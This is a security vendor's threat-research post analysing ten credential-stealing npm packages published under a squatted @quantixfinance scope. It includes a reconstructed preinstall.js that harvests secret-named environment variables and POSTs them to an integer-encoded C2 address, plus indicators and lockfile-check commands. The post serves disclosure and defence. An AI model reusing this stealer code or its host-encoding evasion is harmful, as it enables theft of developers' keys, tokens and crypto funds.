CentrioleBlog
Back to blog

Threat Research

@quantixfinance on npm Was Never the Real Quantix Finance Team

Someone claimed the Quantix Finance npm scope before the real project did, published ten packages that steal credentials at install time, and hid the C2 address as an integer.

Date

Reading time

11 min read

Author

Centriole Research
Share
@quantixfinance on npm Was Never the Real Quantix Finance Team

On September 3, 2026, Amazon Inspector filed ten OSV advisories against packages under @quantixfinance. Every advisory pointed at the same preinstall.js hash. A few of them also named different C2 IP addresses for that same file. We started there, because both claims cannot be true at once.

The SHA256 values recovered from the OSV evidence_files blocks are identical across the whole cluster:

SHA256: 5ba35e7025a373dac1380e610b797be1612a10b86f792fe5118e4f25ee688686
TLSH:   8e21ba4af5bcf3b641a252b450cbc021a97fa40323c189a76b7c41d5ff468dc65634bb

If the file bytes are the same, the hardcoded destination has to be the same. Three advisories, for contracts, tron, and wallet, decode the integer host 759017974 to 45.61.177.246. We ran that decode ourselves:

Integer host decode
import struct, socket
socket.inet_ntoa(struct.pack(">I", 759017974))
# '45.61.177.246'

The other seven advisories still print different IPv4 addresses next to that same integer. Given the shared hash, the cleanest reading is that Inspector reported whatever destination each sandbox reached during detonation, while the literal in the source stays 759017974, which resolves to 45.61.177.246.

Registry findings

Quantix Finance is a live TRON DeFi protocol. QFI is a TRC20 token, listed on BitMart and MEXC, and was sitting near a $59M market cap when these packages appeared. The project keeps a public footprint on quantixfinance.xyz, X, and Telegram. What it had not done is register @quantixfinance on npm.

An attacker did. The publisher account is named quantixfinance. The email recovered from _npmUser on @quantixfinance/contracts is tim@biggoodgod.com, and biggoodgod.com has no A or AAAA records. That is the shape of a throwaway identity built for one publish session.

Under that scope, the operator put up ten packages that look like pieces of a private DeFi monorepo:

Fake @quantixfinance monorepo scaffold with ten themed packages over one shared preinstall stealer
Fake @quantixfinance monorepo scaffold with ten themed packages over one shared preinstall stealer

The package names are api, common, config, contracts, sdk, supabase, token, tron, ui, and wallet. Amazon Inspector’s advisory for @quantixfinance/supabase already noted that the scoped naming looks like an internal organization package, the kind of shape that shows up in dependency-confusion cases. Looking at the full list, that reading holds. These are not typosquats of popular libraries. They are the names a TRON DeFi team would expect to see inside its own workspace.

Each package also ships a small index.js that matches the claimed purpose on the surface. From the OSV evidence blocks and advisory text:

PackageWhat index.js exports
@quantixfinance/apiEmpty get, post, put, and delete helpers
@quantixfinance/sdkA hollow QuantixSDK class and createClient stub
@quantixfinance/supabaseA no-op createClient
@quantixfinance/uiEmpty Button, Input, and Card functions
@quantixfinance/walletA 67-byte no-op
@quantixfinance/tokenNo-op token helpers
@quantixfinance/tronA two-line stub
@quantixfinance/contractsA stub cover; the registry listed five files in the tarball
@quantixfinance/commonA stub
@quantixfinance/configA stub

The part that matters is the lifecycle hook. Registry metadata for @quantixfinance/contracts still had the scripts block:

package.json scripts
"scripts": {
  "preinstall": "node preinstall.js"
}

preinstall runs before npm writes the package into node_modules. The only reliable way to skip it is --ignore-scripts.

The same contracts record also preserved the publisher’s toolchain: Node 22.18.0 and npm 10.9.3. There were no declared forward dependencies. We checked deps.dev and npm dependents for api, contracts, sdk, and wallet, and found no indexed reverse dependents before the packages disappeared.

Install-time behavior

By the time we went looking for tarballs, every download URL returned 404. What follows is reconstructed from the Amazon Inspector sandbox notes attached to the ten OSV advisories, not from a local extract.

Credential keyword filter taxonomy grouped into crypto, cloud, and generic secret categories
Credential keyword filter taxonomy grouped into crypto, cloud, and generic secret categories

The most complete keyword list shows up in the @quantixfinance/wallet advisory (MAL-2026-15857):

key, secret, token, pass, mnemonic, seed, private, wallet,
api, rpc, infura, alchemy, supabase, database, deploy,
vercel, railway, tron, contract, env, url

On install, the script walks process.env, keeps any variable whose name matches one of those substrings, and adds the hostname, current working directory, and Node version. It then POSTs that JSON blob to the integer-encoded host on port 61289. Failures are caught and ignored, so a dead C2 does not break the install.

The @quantixfinance/sdk advisory (MAL-2026-15852) also preserved a path sample:

/0471e9cef36a6718b0f2bfdbec06bd82/47acfe667ff0162697f4af03/54c960d45ce346f9/r

That breaks down to /<32-hex>/<24-hex>/<16-hex>/r. We searched OSSF malicious-packages, urlscan.io, and VirusTotal for the pattern and did not find earlier reporting.

Two of the keywords are worth calling out. Combining url with database or supabase is a good way to catch connection strings that already embed passwords. contract is more specific to this target set and will match names like CONTRACT_ADDRESS or DEPLOY_CONTRACT_KEY.

preinstall.js reconstructed from OSV advisory text
const http = require("http");
const os = require("os");
 
const KEYWORDS = [
  "key", "secret", "token", "pass", "mnemonic", "seed", "private",
  "wallet", "rpc", "infura", "alchemy", "supabase", "database",
  "vercel", "railway", "api", "env", "url", "contract", "tron", "deploy",
];
 
const env = {};
for (const [k, v] of Object.entries(process.env)) {
  const lower = k.toLowerCase();
  if (KEYWORDS.some((kw) => lower.includes(kw))) env[k] = v;
}
 
const payload = JSON.stringify({
  env,
  hostname: os.hostname(),
  cwd: process.cwd(),
  nodeVersion: process.version,
});
 
const req = http.request({
  host: 759017974,
  port: 61289,
  path: "/<per-victim-hex>/r",
  method: "POST",
  headers: { "Content-Type": "application/json" },
});
 
req.on("error", () => {});
req.write(payload);
req.end();

The README that came through on the contracts registry record is short and plausible enough to pass a quick glance:

README.md from @quantixfinance/contracts registry
# @quantixfinance/contracts
Smart contract ABIs and utilities for Quantix Finance
 
## Installation
npm install @quantixfinance/contracts
 
## Usage
const contracts = require('@quantixfinance/contracts');
 
## License
MIT

The keywords on that same record were quantix, quantixfinance, qfi, finance, crypto, and contracts, so a search for the project name on npm would have surfaced the package.

Host encoding

Integer host encoding decode from 759017974 to IPv4 45.61.177.246
Integer host encoding decode from 759017974 to IPv4 45.61.177.246

Node’s http.request will accept a 32-bit integer as the host value and open a connection to the matching IPv4 address. That is an awkward property if you are writing detectors that only look for dotted-quad strings, because the source never contains 45.61.177.246 as text.

Port 61289 does not show up in earlier OSSF malicious-packages advisories. A code-index search for 61289 returned no matches either. At analysis time we probed 45.61.177.246:61289 and two of the other Inspector-reported endpoints with curl --max-time 3. All of them timed out.

We also pivoted the publisher email domain, the npm username, and the port through OSSF malicious-packages, the KMSEC DPRK research feed at dprk-research.kmsec.uk, and GitHub user/org search. Nothing came back. After npm took over the account, the surviving contracts metadata listed npm-support as maintainer. From the pivots we had, this cluster does not line up with a previously documented campaign.

Publish timestamps

Enough registry time metadata survived on contracts and token to rebuild the session.

Publish session timeline showing burst publish, token self-unpublish, and a 7h15m detection gap
Publish session timeline showing burst publish, token self-unpublish, and a 7h15m detection gap
EventTimestamp (UTC)Source
contracts@1.0.0 published2026-09-03T08:36:29.889Znpm time.1.0.0
token@1.0.0 published2026-09-03T08:36:33.887Znpm time.1.0.0
Remaining eight packages~2026-09-03T08:36-08:38ZSame session
token@1.0.1 published2026-09-03T08:42:27.518Znpm time.1.0.1
token unpublished (both versions)2026-09-03T08:56:54.355Znpm unpublished.time
First Inspector advisory2026-09-03T15:51:07ZOSV MAL-2026-15848
Last advisory in batch2026-09-03T15:52:25ZOSV MAL-2026-15850

contracts and token landed four seconds apart. The OSV IDs themselves, MAL-2026-15848 through MAL-2026-15857, were filed in a 78-second window later that day.

The _npmOperationalInternal.tmp field on contracts still contained the publish tool’s staging path:

tmp/contracts_1.0.0_1788424589748_0.29357668485525834

The 13-digit stamp 1788424589748 decodes to 2026-09-03T08:36:29.748Z, which is 141 milliseconds before the registry publish timestamp. That is the publisher machine’s local clock at the moment npm staged the tarball.

One package behaves differently from the rest. token@1.0.1 showed up 354 seconds after 1.0.0, and both versions were unpublished by the operator at 08:56:54, hours before Inspector filed anything. MAL-2026-15854 only covers 1.0.0. The 1.0.1 tarball is gone, so we do not know what changed between those two versions.

From the first publish to the first advisory, the packages were live for seven hours and fifteen minutes.

If you installed these packages

This is install-time credential theft, so the machine that ran npm install is the one that matters.

Lockfile scan
grep -r "@quantixfinance" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
Installed package check
find . -path "*/node_modules/@quantixfinance" -maxdepth 4 2>/dev/null

If either command finds a hit, remove the package and rotate in this order:

  1. Wallet mnemonics and private keys
  2. RPC credentials (Infura, Alchemy, TRON node RPC)
  3. Contract admin and deployment keys
  4. Supabase service role and anon keys
  5. Vercel and Railway tokens
  6. GitHub Actions and npm tokens

If the install happened in CI between 08:36 and 15:52 UTC on September 3, 2026, rotate every secret that pipeline could have touched in that window. Remember that preinstall fires before node_modules is written, so uninstalling afterward does not undo the theft. If a mnemonic was in the environment, move funds to a wallet generated on an air-gapped machine.

Indicators

IndicatorTypeValueMethod
@quantixfinance/apinpm package1.0.0OSV MAL-2026-15848
@quantixfinance/commonnpm package1.0.0OSV MAL-2026-15849
@quantixfinance/confignpm package1.0.0OSV MAL-2026-15850
@quantixfinance/contractsnpm package1.0.0OSV MAL-2026-15851; registry metadata recovered during triage
@quantixfinance/sdknpm package1.0.0OSV MAL-2026-15852; C2 path recovered from advisory text
@quantixfinance/supabasenpm package1.0.0OSV MAL-2026-15853
@quantixfinance/tokennpm package1.0.0, 1.0.1MAL-2026-15854 covers 1.0.0; 1.0.1 seen only in registry time data
@quantixfinance/tronnpm package1.0.0OSV MAL-2026-15855
@quantixfinance/uinpm package1.0.0OSV MAL-2026-15856
@quantixfinance/walletnpm package1.0.0OSV MAL-2026-15857; fullest keyword list
preinstall.jsMalicious fileSHA256 5ba35e7025a373dac1380e610b797be1612a10b86f792fe5118e4f25ee688686OSV evidence_files; TLSH identical across all ten packages
45.61.177.246:61289C2 endpointInteger host 759017974Decoded from the literal; confirmed in contracts/tron/wallet advisories; probed offline
C2 path patternExfil path/<32-hex>/<24-hex>/<16-hex>/rRecovered from MAL-2026-15852 advisory text
tim@biggoodgod.comPublisher identitynpm user quantixfinancePulled from registry _npmUser on contracts
biggoodgod.comEmail domainnon-resolvingDNS lookup returned no A or AAAA records
Staging pathDropper artifacttmp/contracts_1.0.0_1788424589748_0.29357668485525834Recovered from _npmOperationalInternal.tmp

Affected versions

PackageVersionPublished (UTC)StatusOSV
@quantixfinance/api1.0.02026-09-03 ~08:36ZUnpublishedMAL-2026-15848
@quantixfinance/common1.0.02026-09-03 ~08:36ZUnpublishedMAL-2026-15849
@quantixfinance/config1.0.02026-09-03 ~08:36ZUnpublishedMAL-2026-15850
@quantixfinance/contracts1.0.02026-09-03T08:36:29.889ZUnpublishedMAL-2026-15851
@quantixfinance/sdk1.0.02026-09-03 ~08:36ZUnpublishedMAL-2026-15852
@quantixfinance/supabase1.0.02026-09-03 ~08:36ZUnpublishedMAL-2026-15853
@quantixfinance/token1.0.02026-09-03T08:36:33.887ZUnpublishedMAL-2026-15854
@quantixfinance/token1.0.12026-09-03T08:42:27.518ZUnpublished (no OSV)n/a
@quantixfinance/tron1.0.02026-09-03 ~08:36ZUnpublishedMAL-2026-15855
@quantixfinance/ui1.0.02026-09-03 ~08:36ZUnpublishedMAL-2026-15856
@quantixfinance/wallet1.0.02026-09-03 ~08:36ZUnpublishedMAL-2026-15857